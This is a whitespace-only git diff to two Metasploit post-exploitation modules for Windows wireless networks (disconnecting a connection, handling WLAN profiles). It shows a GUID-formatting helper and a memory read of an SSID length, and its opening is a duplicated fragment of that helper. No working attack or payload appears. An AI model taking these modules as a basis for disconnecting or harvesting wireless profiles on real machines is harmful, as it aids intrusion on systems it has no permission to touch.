GUID to human readable form def guid_to_string(guid) aguid = guid.unpack("H*")[0] - sguid = "{" + aguid[6,2] + aguid[4,2] + aguid[2,2] + aguid[0,2] + sguid = "{" + aguid[6,2] + aguid[4,2] + aguid[2,2] + aguid[0,2] sguid << "-" + aguid[10,2] + aguid[8,2] + "-" + aguid[14,2] + aguid[12,2] + "-" + aguid[16,4] sguid << "-" + aguid[20,12] + "}" return sguid diff --git a/modules/post/windows/wlan/wlan_disconnect.rb b/modules/post/windows/wlan/wlan_disconnect.rb index 28c2ed3c26..109c9b69f4 100644 --- a/modules/post/windows/wlan/wlan_disconnect.rb +++ b/modules/post/windows/wlan/wlan_disconnect.rb @@ -20,7 +20,7 @@ class Metasploit3 < Msf::Post 'Name' => 'Windows Disconnect Wireless Connection ', 'Description' => %q{ This module disconnects the current wireless network connection - on the specified interface. + on the specified interface. }, 'License' => MSF_LICENSE, 'Author' => ['TheLightCosine '], @@ -153,7 +153,7 @@ class Metasploit3 < Msf::Post #We return nil and deal with the results back in the calling function pointer = (pointer+512) len_ssid = @host_process.memory.read(pointer,4) - unless len_ssid.unpack("V")[0] + unless len_ssid.unpack("V")[0] return nil end @@ -345,7 +345,7 @@ class Metasploit3 < Msf::Post #Convert the GUID to human readable form def guid_to_string(guid) aguid = guid.unpack("H*")[0] - sguid = "{" + aguid[6,2] + aguid[4,2] + aguid[2,2] + aguid[0,2] + sguid = "{" + aguid[6,2] + aguid[4,2] + aguid[2,2] + aguid[0,2] sguid << "-" + aguid[10,2] + aguid[8,2] + "-" + aguid[14,2] + aguid[12,2] + "-" + aguid[16,4] sguid << "-" + aguid[20,12] + "}" return sguid diff --git a/modules/post/windows/wlan/wlan_profile.rb b/modules/post/windows/wlan/wlan_profile.rb index 0646265aa7..0db8efca54 100644 --- a/modules/post/windows/wlan/wlan_profile.rb +++ b/modules/post/windows/wlan/wlan_profile.rb @@ -164,7 +164,7 @@ class Metasploit3 < Msf::Post #Convert the GUID to human readable form def guid_to_string(guid) aguid = guid.unpack("H*")[0] - sguid = "{" + aguid[6,2] + aguid[4,2] + aguid[2,2] + aguid[0,2] + sguid = "{" + aguid[6,2] + aguid[4,2] + aguid[2,2] + aguid[0,2] sguid << "-" + aguid[10,2] + aguid[8,2] + "-" + aguid[14,2] + aguid[12,2] + "-" + aguid[16,4] sguid << "-" + aguid[20,12] + "}" return sguid